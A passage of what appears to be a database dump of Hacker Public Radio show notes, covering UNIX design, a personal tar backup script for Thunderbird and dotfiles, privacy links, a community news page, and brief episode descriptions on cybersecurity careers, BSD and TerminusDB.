wilfully associate with the microsoft users leaving issues on your software repos. \"Not my OS, not my issue, it\'s open source so fork it if you don\'t like it\"</p>\n<h2 id=\"multiuser-timesharing\">Multiuser (timesharing)</h2>\n<p>See also: Multitasking.</p>\n<p>Exercise 3: attempt to use Windows like a multiuser operating system and get back to me when you have realized that any and all claims made by microsoft about how their \"multi user enterprise system\" is in any way capable of competing with a genuine multi-user UNIX system are false advertising.</p>\n<h3 id=\"users-groups\">Users, Groups</h3>\n<p>A multiuser system needs a way to manage users and categorize them for access control purposes. Every user has a single user account and belongs to 0 or more groups. Sorting users into groups at the time of account creation makes is significantly easier than granting/revoking permissions user-by-user. Additionally, using something like <code>rctl(8)</code> on FreeBSD allows a systems administrator to allocate resources to specific users, groups, or login classes (like groups).</p>\n<h3 id=\"daemons-services\">Daemons (services)</h3>\n<p>On a UNIX system, every process is owned by a user. In the case of a service, the process is owned by a daemon account. Daemon accounts have limited permissions and make it possible to run persistent services as a non-root user.</p>\n<h3 id=\"access-control\">Access Control</h3>\n<p>Since UNIX was designed to be a multiuser system, access control is required. We know about users, we know about groups, but what about permissions?</p>\n<p>There are three types of operations that can be done to a file: read, write, and execute. Who can the admin grant these permissions to? The Owner, the Group, and the Other (all). This type of access control is called discretionary access control because the owner of the file can modify files <em>at their own discretion</em>.</p>\n<h2 id=\"actually-using-the-thing\">Actually using the thing</h2>\n<h3 id=\"programming-interface-pt-1-data-streams\">Programming interface Pt. 1 (data streams)</h3>\n<p>All UNIX utilities worth using use 3 data streams:</p>\n<ul>\n<li>stdin\n<ul>\n<li>read from it the same way you read from a file</li>\n</ul></li>\n<li>stdout\n<ul>\n<li>print to it the same way you print to a terminal (file)</li>\n</ul></li>\n<li>stderr\n<ul>\n<li>print to it the same way print to a file, read from it the same way you read from a file</li>\n</ul></li>\n<li>env vars if you\'re a CGI programmer</li>\n</ul>\n<h3 id=\"shell\">Shell</h3>\n<p>The shell is how a user actually interacts with a UNIX system. It\'s a familiar interface that allows a human user to interact with a computer using real human language.</p>\n<p>Explicitly telling the computer to do is infinitely less agonizing than dealing with a computer that tries to do what it thinks you want it to do by interpreting input from a poorly designed, overly engineered interface.</p>\n<p>The shell, in addition to being an interactive interface, is also scriptable. Although math is a struggle, shell scripting is a fairly simple way of automating tasks. Taping together interoperable commands you already know makes everything easier. My favorite aspect about writing POSIX shell scripts is knowing that shell is a strongly, statically typed language where the only datatype is string.</p>\n<p>Problem that are difficult or messy to solve in shell usually mean it\'s time to write another small C program for your specific needs. Adding the new program into the shell pipeline is trivial.</p>\n<h4 id=\"pipes\">Pipes</h4>\n<p>Pipes, the concept that makes UNIX so scriptable. A shell utility that follows the UNIX philosophy will have a non-captive interface, write uncluttered data to stdout, read from stdin, and error to stderr. The <code>|</code> pipe character instructs programs to send their stdout to the next stdin in the pipeline instead of printing to the terminal.</p>\n<p>All standard command line utilities are interoperable and can be easily attached like building blocks. \"Meta programming\" has never been easier.</p>\n<p>Pipes make it so that every UNIX program is essentially a filter. Sure, you could just use awk, but I prefer shell.</p>\n<h1 id=\"bonus\">Bonus:</h1>\n<ul>\n<li>plaintext configuration files</li>\n<li>All logs are pretty much just a .csv</li>\n<li>OS vendor doesn\'t force you to upgrade to a newer version of spyware</li>\n<li>modular design means explorer.exe crashes don\'t take down your entire IT infrastructure</li>\n<li>Portable design means write once, run everywhere with minimal effort</li>\n</ul>\n<h1 id=\"summary\">Summary:</h1>\n<p>UNIX is a non-simple modular operating system designed for 1970s big iron mainframes but we love it too much to let it go. Compared to minimal hobbyist operating systems, UNIX is BIG. Compared to commercial operating systems, free UNIX is small. Maybe slightly more than minimum viable but the papercuts are mild enough to forgive.</p>\n<h1 id=\"see-also\">See Also:</h1>\n<p><a href=\"https://web.mit.edu/~simsong/www/ugh.pdf\">The UNIX-HATERS Handbook</a></p>\n',406,0,1,'CC-BY-SA','UNIX',0,0,1),
(3657,'2022-08-09','Small time sysadmin',1568,'How I maintain my Linux Box, Part One.','<ol>\n<li>Creating Backups.</li>\n</ol>\n<ul>\n<li><p>This script was trimmed to serve as an example.</p></li>\n<li><p>The three options shown (email, jop, dots) demonstrates, how to list items with case statements:</p>\n<ul>\n<li>Single item/directory (jop).</li>\n<li>Multiple items in single directory (dots).</li>\n<li>Multiple items in multiple directories (email).</li>\n</ul></li>\n<li><p>The text files created after the archive serves as an item list<br />\nwith current permissions.</p></li>\n<li><p><code>tar --directory= /path/to/directory/ --create --file INSERT_ARCHIVE_NAME.tar /path/to/file;</code></p></li>\n</ul>\n<pre><code>#!/bin/bash\n#License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see &lt;https://www.gnu.org/licenses/&gt;.\n\n#Name: getoverhere.sh\n#Purpose:\n#Version: beta 0.07\n#Author: SGOTI (Some Guy On The Internet)\n#Date: Sat 29 Jan 2022 02:19:29 AM EST\n\n#variables:\nVAR_TBALL=\nVAR_TARGET=\nVAR_JUMP=\nVAR_VALUE=\n\n#start:\ncat &lt;&lt; &quot;EOT01&quot;\nOptions:\n    email |&quot;${HOME}/.thunderbird/&quot;\n    jop |&quot;${HOME}/Documents/joplin&quot;\n    dots |&quot;${HOME}/.bashrc .vimrc .bash_aliases&quot;\nEOT01\n\necho -e &quot;What do you want to backup? : \\c.&quot;\nread VAR_VALUE\n\ncase ${VAR_VALUE} in\n    &quot;email&quot; )\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.mail.yahoo.com/&quot;\n    echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.gmail.com/&quot;\n    echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL=&quot;EMAIL_ARCHIVES$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;Mail/&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n    echo -e &quot;Grabbing email EMAIL_ARCHIVES...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; EMAIL_ARCHIVES$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_CALENDER$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;calenders/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo -e &quot;Grabbing email THUNDERBIRD_CALENDER...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_CALENDER$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;address-book/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ALL$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.thunderbird/&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n    echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ALL$(date +%m-%d-%Y).txt ;;\n\n    &quot;jop&quot; )\nVAR_TBALL=&quot;JOPLIN$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;joplin/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; JOPLIN$(date +%m-%d-%Y).txt ;;\n\n    &quot;dots&quot; )\nVAR_TBALL=&quot;dots$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.bashrc .vimrc .bash_aliases&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n    echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -v -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET} ;;\n\n    * )\n    echo &quot;Good Heavens...&quot; ;;\nesac\nexit;\n</code></pre>\n<hr />\n<ol start=\"2\">\n<li>Restoring from backups.</li>\n</ol>\n<ul>\n<li><code>tar --extract --directory= /path/to/directory/ --file /path/to/file;</code></li>\n<li>A <code>cp -v -t /path/to/directory *08-05-2022.tar.gz;</code> command is used to<br />\nsend the latest tarballs to the fresh install, from the backup drive.</li>\n<li>Now that you&#x2019;ve seen the script above, I&#x2019;ll just give a <code>tar --extract</code> example to keep things short and sweet.</li>\n</ul>\n<pre><code>VAR_TBALL=&quot;EMAIL_ARCHIVES*.tar.gz&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n    echo -e &quot;Restoring EMAIL_ARCHIVES...\\n&quot;\ntar --extract --directory= ${VAR_JUMP} --file ${VAR_TBALL}\n    echo -e &quot;EMAIL_ARCHIVES restored.\\n&quot;\n</code></pre>\n',391,0,0,'CC-BY-SA','sysadmin, system maintenance, tar, backups',0,0,1),
(3664,'2022-08-18','Secret hat conversations',1070,'You\'ll need your tin hat for this one.','<p><a href=\"https://en.wikipedia.org/wiki/Tin_foil_hat\">The Tin Foil Hat</a> often worn in the belief or hope that it shields the brain from threats such as electromagnetic fields, mind control, and mind reading.</p>\n<ol>\n<li><a href=\"https://www.youtube.com/watch?v=KD7zTSaiigg\">Proper hat construction video</a>. Also includes the &#x201C;why&#x201D; along with the &#x201C;how&#x201D;.</li>\n<li><a href=\"https://www.youtube.com/watch?v=p0mEuIvfFCA\">Proper hat construction music</a>. Just something to keep you focused.</li>\n</ol>\n<hr />\n<p><a href=\"https://www.fcc.gov/spoofing\">FCC Caller ID Spoofing info</a>: Spoofing is when a caller deliberately falsifies the information transmitted to your caller ID display to disguise their identity.</p>\n<p><a href=\"https://www.fcc.gov/call-blocking\">FCC Call Blocking info</a>: Call blocking is a tool used by phone companies to stop illegal and unwanted calls from reaching your phone. A second annual FCC report released in June 2021 found that many voice service providers and third-party analytics companies are improving their call blocking and labeling services and use new data to better detect robocalls. Billions of unwanted calls to American consumers are being blocked each year.</p>\n<p>The <a href=\"https://pine64.com/product/pinephone-pro-explorer-edition/\">PinePhone Pro Explorer Edition</a> is aimed at Linux developers with an extensive knowledge of embedded systems and/or experience with mobile Linux.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">Time-based one-time password</a> (TOTP) is a computer algorithm that generates a one-time password (OTP) that uses the current time as a source of uniqueness. As an extension of the HMAC-based one-time password algorithm (HOTP), it has been adopted as Internet Engineering Task Force (IETF) standard RFC 6238.</p>\n<p><a href=\"https://matrix.org/\">Matrix</a> is an open standard for interoperable, decentralised, real-time communication over IP.</p>\n<hr />\n<p><strong>Password Managers:</strong> <em>Used by Some Guy On The Internet.</em><br />\n<a href=\"https://bitwarden.com/\">Bitwarden</a><br />\n<a href=\"https://keepassxc.org/\">KeePassXC</a></p>\n<hr />\n',391,0,1,'CC-BY-SA','Tin hat, call spoofing',0,0,1),
(3936,'2023-09-04','HPR Community News for August 2023',0,'HPR Volunteers talk about shows released and comments posted in August 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\np#ignore, li#ignore {\n    background-color: lightgreen;\n    color:maroon;\n}\ndiv#highlight {\n  border-style: solid;\n  border-color: red;\n  padding-right: 20px;\n  padding-left: 20px;\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">3912</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">Emergency Show: Biltong and Rooibos</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0250.html\" target=\"_blank\">Shane Shennan</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">3913</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">Lurking Prion Q and A</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">3914</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">how to deal with blisters</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">3915</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">Why the hell is my audio clipping?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0201.html\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">3916</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">HPR Community News for July 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">3917</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">Response to \"Permission Tickets\" by oneofspoons</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">3918</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">Emacs package curation, part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">3920</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">RV Trip 2022-2023: Southeast US</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">3921</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">3930</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">Playing Civilization II Test of Time</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p id=\"ignore\"><b>Note to Volunteers</b>: Comments marked in green were read in the last\nCommunity News show and should be ignored in this one.</p><p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere is 1 comment in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#comments\" target=\"_blank\">hpr3904</a></strong>\n(2023-07-20) \"<em>How to make friends</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.<br/><small>Summary: \"<em>This topic is being actively researched. Not for production use.</em>\"</small></li>\n<li style=\"list-style: none; display: inline\">\n<ul><li id=\"ignore\">\n<a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2023-08-02:\n\"Frienships\"\n<br/><hr class=\"thin\">Hi Klaatu. Great show and very thought provoking. <br />\n<br />\nYou missed one type of friendship that applies to me and, I dare say, many others.<br />\n<br />\nI grew up and went to school in London and became one of a group of 7 \"mates\". We never used the term \"friends\" in case we were deemed \"soft\" - crazy I know. Over the years we have all moved away from each other, in one case to the other side of the world, so we often only meet one another once or twice a year, sometimes not even that, and don\'t even converse by phone or messaging much in between. Despite that we all know that we can totally rely on one another should the need arise, and when we do meet the intervening months or years simply have no relevance.<br />\n<br />\nApart from my immediate family, of course, these people are closer to me than anybody else but the need to be in constant contact just doesn\'t exist. It\'s the polar opposite of people who are constantly on Facebook communicating with \"friends\" they\'ve never met, and really know nothing about with any certainty.\n</li><br/></ul><br/>\n</limage></ul><p><small><small><em>Updated on 2023-08-02 17:20:08</em></small></small></p>\n\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3666,'2022-08-22','One Weird Trick',997,'I talk about getting into or advancing in cybersecurity & how keyboards could trick malware.','<p>In this episode, I talk about getting in to the field of cybersecurity or moving up in the field. I also talk about how keyboards could keep malware from going Boom on your system.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Try This One Weird Trick Russian Hackers Hate<br />\n<a href=\"https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/\" class=\"uri\">https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/</a></p></li>\n<li><p>Fake VM Sandbox artifacts - not talked about in this episode<br />\n<a href=\"https://github.com/NavyTitanium/Fake-Sandbox-Artifacts\" class=\"uri\">https://github.com/NavyTitanium/Fake-Sandbox-Artifacts</a></p></li>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,malware, career',0,0,1),
(3669,'2022-08-25','My First Podcast: My Journey into the Computer World',1207,'How I was introduced into computers, Linux, robotics, programming, cibersecurity and more...','<h1 id=\"milestones-in-my-journey\">Milestones in my Journey</h1>\n<ol>\n<li>Studied Windows office and played online games</li>\n<li>Electronics</li>\n<li>Programming with Scratch</li>\n<li>Studied Javascript with Khan Academy</li>\n<li>Used Processing</li>\n<li>Learned Arduino and robotics</li>\n<li>Programmed with Visual Studio Code</li>\n<li>Learned Git</li>\n<li>Learned Windows Batch, VBS, registry, and others</li>\n<li>Introduction to Linux and disks with Tails</li>\n<li>Installation of Linux mint</li>\n<li>Installation of Debian</li>\n<li>Learned Apt, sudo, and other commands</li>\n<li>Discovered the Raspberry Pi</li>\n<li>Learned ssh, vnc, servers and networking with the Raspberry Pi</li>\n<li>Received a Thinkpad laptop and installed on it Bodhi Linux, Linux Lite and Alpine Linux</li>\n<li>Learned about erasure, recovery and encryption of data</li>\n<li>Learned more about Linux (Screen, network configuration, emacs, programming in C)</li>\n<li>Discovered <a href=\"https://nethackwiki.com/wiki/NetHack\">Nethack</a> and <a href=\"https://gitlab.com/esr/open-adventure\">Open Adventure</a> console games</li>\n<li>Studied hacking and pentesting</li>\n<li>Helped a company with its computers and learned from it guys</li>\n<li>Introduction to Python and BSD</li>\n</ol>\n',410,29,0,'CC-BY-SA','linux, programming, cibersecurity, robotics, hardware',0,0,1),
(3678,'2022-09-07','\"Stupid Users\" ... no, not those users, the other \"stupid users\"',907,'Brady & I discuss stupid things done by those of us who really should know better.','<p>In this week\'s episode, I chat with R. Brady Frost about the little plumber vs the gigantic rock. Then we move in to a discussion about the fallacy of stupid users with some great stories of stupid things done by those of us who really should know better. The moral of the story, is that we are all human and nothing will ever change that. Instead, we need to be prepared for when humans are human.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,users,stupid human tricks,customer service',0,0,1),
(3689,'2022-09-22','Linux Inlaws S01E65: TerminusDB',4071,'TerminusDB NoSQL database','<p>As part of the effort of turning the planet\'s premier Rust marketing podcast into a full-blown NoSQL show, in this episode Chris hosts some of the key people behind a NoSQL database called TerminusDB (Martin couldn\'t make it as he was firing, um, re-organising the Inlaw\'s marketing department once again). Luke (the CEO) and Gavin (CTO) of TerminusDB spill the beans on the history of the project, ontologies and why they still matter not only in a mobile-first world and why a website called DB Engines simply doesn\'t do the trick (putting it very diplomatically). Never mind the road ahead... (including quantum AI and some other fancy stuff - you heard it here first!). And also next week\'s lotto numbers (perhaps).</p>\n<h2>Links:</h2>\n<ul>\n<li>Trinity College Dublin: <a href=\"https://tcd.ie\" target=_blank>https://tcd.ie</a></li>\n<li>TerminusDB: <a href=\"https://terminusdb.com\" target=_blank>https://terminusdb.com</a></li>\n<li>TerminusDB on Github: <a href=\"https://github.com/terminusdb/terminusdb\" target=_blank>https://github.com/terminusdb/terminusdb</a></li>\n<li>Seshat: <a href=\"http://seshatdatabank.info\" target=_blank>http://seshatdatabank.info</a></li>\n<li>DBpedia: <a href=\"https://www.dbpedia.org\" target=_blank>https://www.dbpedia.org</a></li>\n<li>Terminus @ Isaac Asimov: <a href=\"https://en.wikipedia.org/wiki/Foundation_series\" target=_blank>https://en.wikipedia.org/wiki/Foundation_series</a></li>\n<li>RDFs: <a href=\"https://www.w3.org/TR/rdf11-concepts\" target=_blank>https://www.w3.org/TR/rdf11-concepts</a></li>\n<li>HDT: <a href=\"https://www.rdfhdt.org/what-is-hdt\" target=_blank>https://www.rdfhdt.org/what-is-hdt</a></li>\n<li>Rust episode (S01E53): <a href=\"http://hackerpublicradio.org/eps.php?id=3569\" target=_blank>http://hackerpublicradio.org/eps.php?id=3569</a></li>\n<li>Open source licenses episode (S01E536): <a href=\"https://hackerpublicradio.org/eps.php?id=3399\" target=_blank>https://hackerpublicradio.org/eps.php?id=3399</a></li>\n<li>TerminusDB @ Social: <a href=\"https://terminusdb.com/community\" target=_blank>https://terminusdb.com/community</a></li>\n<li>AI Infrastructure Alliance: <a href=\"https://ai-infrastructure.org\" target=_blank>https://ai-infrastructure.org</a></li>\n<li>Google\'s Carbon: <a href=\"https://github.com/carbon-language/carbon-lang\" target=_blank>https://github.com/carbon-language/carbon-lang</a></li>\n<li>When we cease to understand the world: <a href=\"https://en.wikipedia.org/wiki/Benjam%C3%ADn_Labatut#When_We_Cease_to_Understand_the_World\" target=_blank>https://en.wikipedia.org/wiki/Benjamín_Labatut#When_We_Cease_to_Understand_the_World</a></li>\n<li>Substack: <a href=\"https://benn.substack.com\" target=_blank>https://benn.substack.com</a></li>\n<li>Chi-Raq: <a href=\"https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','TerminusDB, graph databases, Seshat, Rust, Carbon by Google, Substack',0,0,1),
(3671,'2022-08-29','Response to Episode 3655, \"BSD for Linux Users\"',674,'Claudio responds to binrc\'s episode on BSD for Linux Users and rambles on about other BSD stuff.','<h2 id=\"my-geeeky-experiment-blog-posts\">My gEeeky Experiment blog posts:</h2>\n<ul>\n<li>Part 1: <a href=\"https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/</a></li>\n<li>Part 2: <a href=\"https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/</a></li>\n<li>Part 3: <a href=\"https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/</a></li>\n</ul>\n<h2 id=\"my-geeeky-experiment-hpr-episodes\">My gEeeky Experiment HPR Episodes:</h2>\n<ul>\n<li>Part 1: <a href=\"https://hackerpublicradio.org/eps.php?id=3383\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3383</a></li>\n<li>Part 2: <a href=\"https://hackerpublicradio.org/eps.php?id=3418\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3418</a></li>\n<li>Part 3: <a href=\"https://hackerpublicradio.org/eps.php?id=3527\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3527</a></li>\n</ul>\n<ul>\n<li>Blog post about my Evoo laptop (and then some): <a href=\"https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/\" class=\"uri\">https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/</a></li>\n</ul>\n',152,0,1,'CC-BY-SA','bsd, openbsd, freebsd, netbsd, binrc, response, unix',0,0,1),
